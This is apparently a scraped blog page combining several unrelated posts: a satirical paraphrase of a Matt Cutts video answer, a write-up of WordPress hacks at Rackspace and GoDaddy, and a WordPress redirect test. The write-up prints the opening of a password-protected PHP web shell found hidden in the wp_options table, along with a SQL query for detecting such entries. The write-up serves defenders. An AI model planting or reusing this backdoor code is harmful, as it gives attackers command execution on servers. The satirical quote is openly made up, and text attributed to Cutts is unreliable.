Thanks to James Cook of the TOONrefugee Cartoon Blog for the cartoon of Jason as Nixon. The image is copyrighted and may not be reproduced in any format without his permission.

What’s your take on “addon domains”? Does Google penalize someone for having one or more addon domains on their main website, (or if they’re self hosting)? e.g. 2, 5, or 10 all coming from the same IP address, would that be bad? – Land Lubber, CO

Matt responded with the following:

Land Lubber, I live in a golden castle in the sky, and I have never had to use shared hosting in my life. Furthermore, I never listen to silly seo rumors either, so I had no idea people were even wasting time on such ridiculous ideas. To be honest, I have no idea what an “addon domain” is, even though you spelled it out for me as being multiple domains on the same hosting account. Therefore, I am just going to make something up and talk about that instead. – Matt Cutts… well, sorta, interpreted

Here is the actual video:

My take? Obviously based on Matt’s response as long as you are not doing it for spammy purposes Google doesn’t give a rats ass if you have more than one site on the same account. Hopefully his lack of caring (or knowing) about it clears that up.

Update: Here is a link where Matt dispelled the myth that multiple sites all hosted on the same IP would be an inherent issue with Google all the way back in 2006:

Myth busting: virtual hosts vs. dedicated IP addresses

It looks like the culprit might have been a security hole in phpmyadmin. Hopefully this will turn out to be what was wrong, because Rackspace upgraded all of their installations of that package this past Saturday. If so the initial security could very well be plugged, although of course we don’t know for sure that was what was affecting all of these customers yet. In either case, however, simply plugging the hole will not be enough for affected websites.

The Unmask Parasites blog went into depth about how the various files were injected with malicious code, and how fake admins were used to modify the theme files on the installation. However, what they (and as far as I can tell everyone else) missed was a backdoor that I found injected directly into the wp_options table. The record had an option_name of “wp_optimize”, autoload set to “on” (which means that the option is automatically loaded with WordPress), and an option_value of php shell code:

1
2
3
4
5
6
7
8
9
10
11
12

$kmd5='510a584f9747c1262b5ef3c89bd9afb4';$shellver='1.7.5-stable';
if((isset($_POST['sh'])&&(md5(md5($_POST['sh']))==$kmd5))or(isset($_GET['sh'])&&(md5(md5($_GET['sh']))==$kmd5)))
{
    $kuppa=getcwd();
    if	(file_exists($kuppa."/wp-config.php"))   	      {include ($kuppa."/wp-config.php");};
    if	(file_exists($kuppa."/wp-includes/formatting.php"))   {require_once ($kuppa."/wp-includes/formatting.php");};
    if	(file_exists($kuppa."/wp-includes/kses.php"))         {require_once ($kuppa."/wp-includes/kses.php");};
}
 
if (!function_exists('update_option_1')):
    function update_option_1( $option_name, $newvalue )
...

In all it was 1216 lines of code. You can view the entire file here: sql-injection-wp-optimize.txt. It allows an attacker to basically run any commands or upload any file to the server that they want to. Deleting or cleaning all of the infected files on the server won’t help as long as this code is still in the database. Please, if you have been hacked (regardless of whether or not you are on Rackspace hosting) please make sure you check your databases for malicious code like this.

An easy way to check for these types of suspicious entries in a hacked WordPress database is to run the following MySQL query:

1

SELECT * FROM wp_options WHERE (option_id LIKE '%base64_decode%' OR blog_id LIKE '%base64_decode%' OR option_name LIKE '%base64_decode%' OR option_value LIKE '%base64_decode%' OR autoload LIKE '%base64_decode%') order by option_id

So far the only legitimate entries I have found returned from that query were rss entries pulling in blog posts discussing the base64_decode() php function, so if you find an entry in the database that doesn’t look like someone’s blog post, odds are you are going to want to delete it.

WordPress is a-ok. Go Daddy is rock solid. Neither were ‘hacked,’ as some have speculated.

After an extensive investigation, we can report there was a small group of customers negatively impacted. What happened? Those users had outdated versions of the popular blogging software, set up in a particular way. – Alicia from GoDaddy

From what I have read around the web customers were being told that it was not GoDaddy’s responsibility to fix the sites, that they only offered “limited support” in situations like this, leaving people with only the option of restoring from a backup (which would often not help even in outdated WordPress hack situations, since hacks can go undetected for months) or hiring outside help to clean things up.

You can see on the support page they have set up, What’s Up with Go Daddy, WordPress, PHP Exploits and Malware? that they still claim that outdated scripts are part of the problem. Going to that page and viewing the source reveals something almost unbelievable:

(click to enlarge)

That’s right, in a classic “do as I say, not as I do” twist it seems that GoDaddy is in fact running an older version of WordPress (WordPress MU, based on the version number, which has the same security holes as regular WordPress) for their community blog that they are using to tell people to upgrade their WordPress versions.

To be fair, simply having an older version of WordPress does not mean that it is automatically insecure… the security fixes in the more recent versions may be minor and the known vulnerabilities might have been manually patched. I can’t know without actually digging deeper and looking if in fact the installation was vulnerable.

Then again… neither can GoDaddy in the case of their customers.

http://smackdown.blogsblogsblogs.com/2010/03/18/test-of-wordpress-default-slug-redirect-301-or-302/

and I am going to change it to:

http://smackdown.blogsblogsblogs.com/2010/03/18/wordpress-redirect-302-or-302/

Results: Using the Bad Neighborhood Header Detector we can see that WordPress does in fact use a 301 redirect redirect by default when changing a url slug (at least, WordPress 2.9.2 does, since I upgraded just before this test):